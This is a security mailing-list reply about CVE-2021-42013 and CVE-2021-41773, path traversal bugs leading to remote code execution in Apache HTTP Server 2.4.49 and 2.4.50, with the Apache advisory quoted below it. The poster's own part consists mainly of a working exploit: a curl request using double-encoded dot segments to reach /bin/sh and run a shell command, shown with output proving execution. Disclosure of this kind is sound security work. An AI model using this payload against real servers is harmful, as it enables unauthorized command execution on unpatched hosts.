Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)

[Roman Medina-Heigl Hernandez <roman () rs-labs com>]

Hi,

I posted RCE exploit for this (it works for both CVEs: 41773 & 42013)
and some other details regarding requirements / exploitability, which
you may find useful at:

https://twitter.com/roman_soft/status/1446252280597078024


Excerpt (for the sake of ml-archive):

RCE exploit both for Apache 2.4.49 (CVE-2021-41773) and 2.4.50
(CVE-2021-42013): root@CT406:~# curl
'http://192.168.0.191/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
--data 'echo Content-Type: text/plain; echo; id' uid=1(daemon)
gid=1(daemon) groups=1(daemon)


Cheers.

-r


El 07/10/2021 a las 17:24, Stefan Eissing escribió:
> Severity: critical
>
> Description:
>
> It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a 
> path traversal attack to map URLs to files outside the directories configured by Alias-like directives.  
>
> If files outside of these directories are not protected by the usual default configuration "require all denied", 
> these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote 
> code execution.
>
> This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.
>
> Credit:
>
> Reported by Juan Escobar from Dreamlab Technologies, Fernando Muñoz from NULL Life CTF Team, and Shungo Kumasaka
-- 
Saludos,
-Román